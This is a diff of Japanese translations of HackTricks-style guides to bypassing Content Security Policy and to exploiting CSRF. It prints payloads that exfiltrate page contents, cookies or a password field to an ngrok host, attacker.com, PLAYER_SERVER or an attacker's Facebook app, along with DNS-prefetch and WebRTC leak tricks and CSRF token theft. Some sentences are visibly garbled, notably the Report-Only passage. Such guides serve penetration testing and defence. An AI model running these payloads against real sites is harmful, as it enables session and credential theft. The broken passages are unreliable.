@ -313,13 +313,13 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **は、さまざまなウェブサイトのCSPバイパス用使用可能なJSONPエンドポイントを含んでいます。**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **は、さまざまなウェブサイトのCSPバイパス用の即使用可能なJSONPエンドポイントを含んでいます。**
**信頼されたエンドポイントにオープンリダイレクトが含まれている**場合、同じ脆弱性が発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
### サードパーティの悪用
### 第三者の悪用
[以下の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性のある多くのサードパーティドメインがあり、これらはデータを抽出したり、JavaScriptコードを実行したりするために悪用される可能性があります。これらのサードパーティの一部は次のとおりです:
[以下の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインが、データを抽出したりJavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです:
| エンティティ | 許可されたドメイン | 機能 |
| ----------------- | -------------------------------------------- | ------------ |
@ -332,7 +332,7 @@ https://www.youtube.com/oembed?callback=alert;
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
ターゲットのCSPに許可されたドメインが見つかった場合、サードパーティサービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したりコードを実行したりできる可能性があります。
ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したりコードを実行したりできる可能性があります。
例えば、次のCSPが見つかった場合
```
@ -347,24 +347,24 @@ Content-Security-Policy: connect-src www.facebook.com;
1. ここでFacebook Developerアカウントを作成します。
2. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。
3. 「Settings -> Basic」に移動し、「App ID」を取得します。
4. データを抽出したいターゲットサイトで、Facebook SDKガジェット「fbq」を「customEvent」とデータペイロードを通じて直接使用することでデータを抽出できます。
4. データを抽出したいターゲットサイトで、Facebook SDKガジェット「fbq」を使用して「customEvent」とデータペイロードを通じてデータを抽出できます。
5. あなたのアプリの「Event Manager」に移動し、作成したアプリケーションを選択しますイベントマネージャーは、次のようなURLで見つけることができます: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. 「Test Events」タブを選択して、「あなたのウェブサイトから送信されるイベントを確認します。
6. 「Test Events」タブを選択して、「あなたのウェブサイトから送信されるイベントを確認します。
次に、被害者側で、攻撃者のFacebook Developerアカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようなカスタムイベントを発行するために以下のコードを実行します。
次に、被害者側で、攻撃者のFacebook Developerアカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようなカスタムイベントを発行するためにのコードを実行します。
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
他の7つのサードパーティドメインについては、悪用する方法が他にもたくさんあります。その他のサードパーティの悪用についての追加説明は、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
他の7つのサードパーティドメインについては、前の表に記載されている通り、悪用する方法がたくさんあります。その他のサードパーティの悪用についての追加説明は、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
### RPO相対パス上書きによるバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
前述のパス制限を回避するためのリダイレクトに加えて、いくつかのサーバーで使用できる相対パス上書きRPOという別の技術があります。
例えば、CSPがパス `https://example.com/scripts/react/` を許可している場合、次のようにバイパスできます:
例えば、CSPがパス`https://example.com/scripts/react/`を許可している場合、次のようにバイパスできます:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
@ -372,7 +372,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
これは、ブラウザにとって `https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しています。
∑、彼らはそれをデコードし、実際には `https://example.com/scripts/react/../angular/angular.js`要求します。これは `https://example.com/scripts/angular/angular.js` と同等です。
∑、彼らはそれをデコードし、実際には `https://example.com/scripts/react/../angular/angular.js`リクエストします。これは `https://example.com/scripts/angular/angular.js` と同等です。
**ブラウザとサーバー間のURL解釈の不一致を利用することで、パスルールをバイパスできます**。
@ -386,7 +386,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### **base-uri** が欠落している場合
### **base-uri** が欠落している
**base-uri** ディレクティブが欠落している場合、[**ダングリングマークアップインジェクション**](../dangling-markup-html-scriptless-injection/)を実行するために悪用できます。
@ -397,18 +397,18 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
### AngularJSイベント
特定のポリシーであるContent Security Policy (CSP)はJavaScriptイベントを制限する場合があります。それにもかかわらず、AngularJSは代替としてカスタムイベントを導入します。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト`$event`を提供します。この`$event`オブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは、`$event/event`オブジェクトは`path`属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持しており、`window`オブジェクトは常に最後に位置しています。この構造はサンドボックスエスケープ戦術にとって重要です。
特定のポリシーであるContent Security Policy (CSP)はJavaScriptイベントを制限する場合があります。それにもかかわらず、AngularJSは代替としてカスタムイベントを導入します。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト`$event`を提供します。この`$event`オブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは、`$event/event`オブジェクトは`path`属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持し、`window`オブジェクトが常に最後に位置しています。この構造はサンドボックスエスケープ戦術にとって重要です。
この配列を`orderBy`フィルターに向けることで、反復処理が可能になり、端末要素(`window`オブジェクト)を利用して`alert()`のようなグローバル関数をトリガーできます。以下コードスニペットはこのプロセスを明示しています:
この配列を`orderBy`フィルターに向けることで、反復処理が可能になり、端末要素(`window`オブジェクト)を利用して`alert()`のようなグローバル関数をトリガーできます。以下に示すコードスニペットはこのプロセスを明示しています:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
このスニペットは、`ng-focus` ディレクティブを使用してイベントをトリガーし、`$event.path|orderBy` を使用して `path` 配列を操作し、`window` オブジェクトを利用して `alert()` 関数を実行し、`document.cookie` を表示する方法を強調しています。
このスニペットは、`ng-focus`ディレクティブを使用してイベントをトリガーし、`$event.path|orderBy`を使用して`path`配列を操作し、`window`オブジェクトを利用して`alert()`関数を実行し、`document.cookie`を表示する方法を強調しています。
**他のAngularバイパスを見つけるには** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS とホワイトリストドメイン
### AngularJSとホワイトリストドメイン
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
@ -448,13 +448,13 @@ CSPがサーバーサイドのリダイレクションに遭遇した場合、
```
CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、`/test`および`/a/test`スクリプトはCSPによってブロックされます。
しかし、最終的な`http://localhost:5555/301`は**サーバー側で`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。リダイレクションであるため、**パスは考慮されず**、**スクリプトは読み込まれることができ**、したがってパス制限を回避します。
しかし、最終的な`http://localhost:5555/301`は**サーバー側で`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。リダイレクションであるため、**パスは考慮されず**、**スクリプトを読み込むことができ**、したがってパス制限を回避します。
このリダイレクションにより、パスが完全に指定されていても、依然として回避されます。
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。
### ダンギングマークアップを使用したCSPのバイパス
### ダンギングマークアップによるCSPのバイパス
[こちらを読んでください](../dangling-markup-html-scriptless-injection/)。
@ -464,7 +464,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'`は、コード内の任意のスクリプトを実行できることを意味しますXSSはコードを実行できますし、`img-src *`は、ウェブページ上で任意のリソースからの画像を使用できることを意味します。
このCSPをバイパスするには、画像を介してデータを抽出しますこの場合、XSSはCSRFを悪用し、ボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します
このCSPをバイパスするには、画像を介してデータを抽出しますこの場合、XSSはボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
@ -504,7 +504,7 @@ Edgeでははるかに簡単です。CSPにこれだけ追加できれば: **`;_
ディレクティブ `'unsafe-inline'` の欠如に注意してください。\
今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して**<iframe>**で**読み込ませる**ことができます。今回は、被害者に情報を抽出したいページにアクセスさせます(**CSRF**)。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。
今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**が**スリープ関数**のために**より多くの時間**を要します。そうすれば、フラグを抽出できるようになります:
今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**が**スリープ関数**のために**より多くの時間**を要します。そうすれば、フラグを抽出できるようになります
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
@ -566,15 +566,15 @@ run();
```
### Via Bookmarklets
この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせることを納得させる**というソーシャルエンジニアリングを含みます。このブックマークレットには、**悪意のあるjavascript**コードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスして、クッキーやトークンなどの機密情報を盗むことを可能にします**。
この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグドロップさせることを納得させる**というソーシャルエンジニアリングを含みます。このブックマークレットには、**悪意のあるjavascript**コードが含まれており、ドラッグドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスして、クッキーやトークンなどの機密情報を盗むことを可能にします**。
詳細については、[**こちらで元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
### CSP bypass by restricting CSP
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**または**DOMクラッタリング**を介して、**異なるスクリプトを悪用して任意のスクリプトを読み込むことが可能になりました**
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**や**DOMクラッキング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込む**ことが可能になりました。
**`csp`**属性を使用して、**IframeのCSPを制限することができます**
**`csp`**属性を使用して、**IframeのCSPを制限する**ことができます:
{% code overflow="wrap" %}
```html
@ -592,7 +592,7 @@ CSPは**HTMLメタタグ**を使用してより制限的にすることができ
```
### JS exfiltration with Content-Security-Policy-Report-Only
もしサーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**で応答するように管理できればおそらくCRLFのため、それをあなたのサーバーに向けることができ、もし**`<script>`****JS**CSP`unsafe-inline`**CSP**`Content-Security-Policy-Report-Only`
もしサーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**で応答するように管理できればおそらくCRLFのため、それをあなたのサーバーを指すように設定でき、もし**`<script>`****JS**CSP`unsafe-inline`**CSP**`Content-Security-Policy-Report-Only`
例として[**このCTFの解説を確認してください**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。
@ -603,8 +603,8 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
### CSPとIframeを使用した情報漏洩
* `iframe`が作成され、CSPによって許可されたURLこれを`https://example.redirect.com`と呼びます)を指します。
* このURLは、CSPによって**許可されていない**秘密のURL`https://usersecret.example2.com`)にリダイレクトされます。
* `securitypolicyviolation`イベントをリッスンすることで、`blockedURI`プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトされた秘密のドメインを漏洩させます。
* このURLは、CSPによって**許可されていない**秘密のURL`https://usersecret.example2.com`)にリダイレクトます。
* `securitypolicyviolation`イベントをリッスンすることで、`blockedURI`プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトた秘密のドメインを漏洩させます。
ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作による機密情報の漏洩の可能性があります。
@ -616,9 +616,9 @@ CSPによってブロックまたは許可されるリクエストを監視す
両方の方法は、CSPの実装とブラウザでの動作のニュアンスを利用しており、一見安全なポリシーが意図せずに機密情報を漏洩させる可能性があることを示しています。
[**こちら**](https://ctftime.org/writeup/29310)からのトリック。
[**こちら**](https://ctftime.org/writeup/29310)のトリック。
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
@ -626,7 +626,7 @@ CSPによってブロックまたは許可されるリクエストを監視す
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を最新の状態に保ちましょう
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
@ -641,8 +641,8 @@ CSPによってブロックまたは許可されるリクエストを監視す
### PHPレスポンスバッファのオーバーロード
PHPはデフォルトで**4096**バイトレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス****CSPヘッダーの前に送信され**、ヘッダーが無視されることになります。\
その後、この技術は基本的に**警告でレスポンスバッファを埋める**ことによって、CSPヘッダーが送信されないようにすることです。
PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス****CSPヘッダーの前に送信され**、ヘッダーが無視されることになります。\
その後、この技術は基本的に**警告でレスポンスバッファを埋める**ことにより、CSPヘッダーが送信されないようにします。
[**この書き込み**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。
@ -657,7 +657,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOMEは、**ページのエンドポイント**でのXSSまたは非常に制限されたXSSを悪用して、**同じオリジンの他のエンドポイントを悪用する**技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、悪用したい同じオリジンの実際のエンドポイントに攻撃者のページをリフレッシュすることで行われます。この方法により、**脆弱なエンドポイント**は、**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用する実際のエンドポイントのDOMにアクセス**できます。詳細については、次を確認してください:
SOMEは、**ページのエンドポイント**でのXSSまたは非常に制限されたXSSを悪用して、**同じオリジンの他のエンドポイントを悪用する**技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、悪用したい同じオリジンの実際のエンドポイントに攻撃者のページをリフレッシュすることで行われます。この方法、**脆弱なエンドポイント**は、**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用する実際のエンドポイントのDOMにアクセス**できます。詳細については、次を確認してください:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
@ -670,7 +670,7 @@ SOMEは、**ページのエンドポイント**でのXSSまたは非常に制
## CSP Exfiltration Bypasses
厳格なCSPがあり、**外部サーバーと対話することを許可しない**場合、情報を抽出するために常にできることがあります。
厳格なCSPがあり、**外部サーバーと対話することを許可しない**場合、情報を抽出するために常にできることがいくつかあります。
### Location
@ -690,7 +690,7 @@ document.location = "https://attacker.com/?" + sessionid;
ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。\
ブラウザにホスト名を事前解決させるには、次のように指定できます: `<link rel="dns-prefetch" href="something.com">`
この動作を悪用して、**DNSリクエストを介して機密情報を流出させる**ことができます:
この動作を悪用して、**DNSリクエストを介して機密情報を漏洩させる**ことができます:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
@ -713,9 +713,9 @@ X-DNS-Prefetch-Control: off
### WebRTC
いくつかのページで、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と読めます。
いくつかのページで、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と書かれています。
実際、_DNSリクエスト_を使用して情報を_漏洩_させることができます。このコードを確認してください
実際、_DNSリクエスト_を使用して情報を_漏洩_させることができます。このコードを確認してください:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
@ -752,9 +752,9 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
@ -765,19 +765,19 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**私たちに参加して** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で今日からトップハッカーとコラボレーションを始めましょう!
**私たちに参加してください** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で今日からトップハッカーとコラボレーションを始めましょう!
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
GCPハッキングを学び、実践する <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## クロスサイトリクエストフォージェリ (CSRF) の説明
**クロスサイトリクエストフォージェリ (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。これは、攻撃者が認証されたセッションを悪用して、無防備なユーザーの代わりにアクションを実行できるようにします。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、または画像の取得などの方法を通じて、被害者のアカウントへのリクエストをトリガーします。
**クロスサイトリクエストフォージェリ (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。これは、攻撃者が認証されたセッションを悪用して、無防備なユーザーの代わりにアクションを実行できるようにします。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、または画像の取得などの方法、被害者のアカウントへのリクエストをトリガーします。
### CSRF攻撃の前提条件
@ -44,15 +44,15 @@ CSRF脆弱性を悪用するには、いくつかの条件を満たす必要が
### クイックチェック
**Burpでリクエストをキャプチャ**し、CSRF保護を確認することができます。また、ブラウザからテストするには、**Copy as fetch**をクリックしてリクエストを確認できます:
**Burpでリクエストをキャプチャ**し、CSRF保護を確認、ブラウザからテストするには、**Copy as fetch**をクリックしてリクエストを確認できます:
<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### CSRFからの防御
### CSRFに対する防御
CSRF攻撃から保護するために実装できるいくつかの対策があります
* [**SameSiteクッキー**](hacking-with-cookies/#samesite): この属性は、ブラウザがクロスサイトリクエストと共にクッキーを送信するのを防ぎます。[SameSiteクッキーについての詳細](hacking-with-cookies/#samesite)。
* [**SameSiteクッキー**](hacking-with-cookies/#samesite): この属性は、ブラウザがクロスサイトリクエストと共にクッキーを送信するのを防ぎます。[SameSiteクッキーの詳細](hacking-with-cookies/#samesite)。
* [**クロスオリジンリソースシェアリング**](cors-bypass.md): 被害者サイトのCORSポリシーは、攻撃の実行可能性に影響を与える可能性があります。特に、攻撃が被害者サイトからの応答を読み取る必要がある場合。[CORSバイパスについて学ぶ](cors-bypass.md)。
* **ユーザー確認**: ユーザーのパスワードを求めたり、キャプチャを解決させたりすることで、ユーザーの意図を確認できます。
* **リファラーまたはオリジンヘッダーの確認**: これらのヘッダーを検証することで、リクエストが信頼できるソースから来ていることを確認できます。ただし、URLを慎重に作成することで、実装が不十分なチェックを回避できる場合があります。例えば
@ -87,9 +87,9 @@ CSRF攻撃から保護するために実装できるいくつかの対策があ
### メソッドバイパス
リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッド**の**オーバーライド機能**が機能しているか確認してください。例えば、**PUT**メソッドを使用している場合、**POST**メソッドを使用して**送信**することを試みることができます_https://example.com/my/dear/api/val/num?**\_method=PUT**_
リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッド**の**オーバーライド機能**が機能しているかどうかを確認してください。たとえば、**PUT**メソッドを使用している場合、**POST**メソッドを使用して**送信**することを試みることができます_https://example.com/my/dear/api/val/num?**\_method=PUT**_
これ、**POSTリクエスト内に\_methodパラメータを送信する**か、**ヘッダー**を使用することでも機能します:
これ、**POSTリクエスト内に\_methodパラメータを送信する**か、**ヘッダー**を使用することで機能する可能性があります:
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
@ -100,13 +100,13 @@ CSRF攻撃から保護するために実装できるいくつかの対策があ
リクエストが**CSRF保護メソッド**として**トークン**を持つ**カスタムヘッダー**を追加している場合:
* **カスタマイズされたトークンとヘッダーなしでリクエストをテスト**します。
* **同じ長さだが異なるトークン**でリクエストをテストします。
* **同じ長さだが異なるトークンでリクエストをテスト**します。
### CSRFトークンがクッキーによって検証される
アプリケーションは、トークンをクッキーとリクエストパラメータの両方に複製することによってCSRF保護を実装するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーに対応しているかを検証することがあります。アプリケーションは、リクエストパラメータ内のトークンがクッキーの値と一致するかどうかを確認することでリクエストを検証します。
ただし、この方法は、攻撃者が被害者のブラウザにCSRFクッキーを設定できる脆弱性がある場合、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んだ後、CSRF攻撃を開始することでこれを悪用できます。
ただし、この方法は、攻撃者が被害者のブラウザにCSRFクッキーを設定できる欠陥がある場合、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んだ後、CSRF攻撃を開始することでこれを悪用できます。
以下は、攻撃がどのように構成されるかの例です:
```html
@ -130,15 +130,15 @@ CSRF攻撃から保護するために実装できるいくつかの対策があ
### Content-Typeの変更
[**こちら**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)によると、**プレフライト**リクエストを避けるために**POST**メソッドを使用する場合、許可されているContent-Typeの値は次のりです:
[**こ**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests)によると、**プレフライト**リクエストを避けるために**POST**メソッドを使用する場合、許可されているContent-Typeの値は次のとおりです:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
ただし、使用される**Content-Type**によって**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**_**、**`text/xml`**、**`application/xml`**_などの他の値も試すべきです。
ただし、使用される**Content-Type**によって**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**_**、**_**`text/xml`**、**`application/xml`**_などの他の値も試すべきです。
例([こちら](https://brycec.me/posts/corctf\_2021\_challenges)から)として、JSONデータをtext/plainとして送信する方法
例([こちら](https://brycec.me/posts/corctf\_2021\_challenges)から)では、JSONデータをtext/plainとして送信しています
```html
<html>
<body>
@ -361,7 +361,7 @@ function envia(){document.getElementById("formulario").submit();}
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
### **CSRFトークンを盗んでPOSTリクエストを送信する**
### **CSRFトークンを盗み、POSTリクエストを送信する**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
@ -584,7 +584,7 @@ login(USER, line.strip())
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
@ -592,9 +592,9 @@ login(USER, line.strip())
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に化するハッキングの世界を把握しましょう
リアルタイムのニュースと洞察を通じて、急速に化するハッキングの世界を把握しましょう
**最新の発表**\
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**私たちに参加して** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で今日からトップハッカーとコラボレーションを始めましょう!
@ -608,8 +608,8 @@ GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.p
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
